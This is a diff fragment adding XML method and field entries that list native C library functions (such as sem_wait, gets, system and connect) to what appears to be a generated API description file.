+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fpurge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoull_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sysinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="times" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="madvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__pwrite64_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getopt_long_only" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nl_langinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="tzname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isnormalf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_serial" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fputws" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_rr_get_interval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_getscheduler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cfsetspeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isnormall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="poll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lsetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_pack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_sigmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tempnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_getparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="select" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="epoll_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_setclock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpeername" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="siginterrupt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_hnok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getguardsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sendfile64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="arc4random_buf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="swscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="telldir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_join" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asctime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="c16rtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstatat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="syslog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iscntrl_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ston" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fwide" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__hostalias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="srand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="optopt" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setegid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ntohl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_signal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="connect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="duplocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memalign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strrchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="putc_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="endutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="listxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ntohs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="semget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswspace_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pipe2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getresgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_once" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mincore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pwritev64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_timedrdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_timedlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getschedpolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ptsname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="alphasort64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nftw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getsubopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strpbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswpunct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vsprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inotify_rm_watch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigaltstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fallocate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="towlower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="send" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scandirat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_read_callback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkostemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isnanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fdatasync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="seekdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="hstrerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isfinitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="process_vm_writev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__errno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isnanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clock_getcpuclockid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="shmctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strxfrm_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timer_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="towupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lldiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isfinitel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dirfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_equal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigismember" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_type" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fbufsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setschedpolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_time" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lutimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_nsap_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mblen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpufree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctermid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="semtimedop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="msgrcv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isxdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbrtowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="toupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fchdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_post" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="usleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="towupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getnameinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__openat_2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigtimedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wctrans_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="uname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtold_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassify" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isgraph_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="unsetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="waitid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkostemps" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="imaxdiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="splice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="waitpid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="environ" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoimax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ferror_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="truncate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="capset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isblank" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="time" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_hostalias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wait4" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_makecanon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstatat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="posix_fallocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strerror_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgrnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_format_ttl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strerror_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strxfrm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="recvfrom" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eventfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dup2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbsrtowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="openat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="basename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dup3" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__memrchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getc_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsncasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mlockall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="posix_madvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timer_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wmemmove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="__p_type_syms" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ioctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="flockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strlcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="swprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sysconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="open_memstream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_key_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fp_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fchown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vmsplice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="system" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ferror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pselect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_ownok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strlcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="putwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcspbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eventfd_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_queriesmatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_get_priority_min" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="statfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="unshare" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_get16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstatfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="renameat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tolower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fpathconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__FD_SET_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getifaddrs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_sprintrr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_samename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_finalize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="closelog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strsignal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__get_h_errno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="regexec" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="div" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgrnam_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fwrite_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
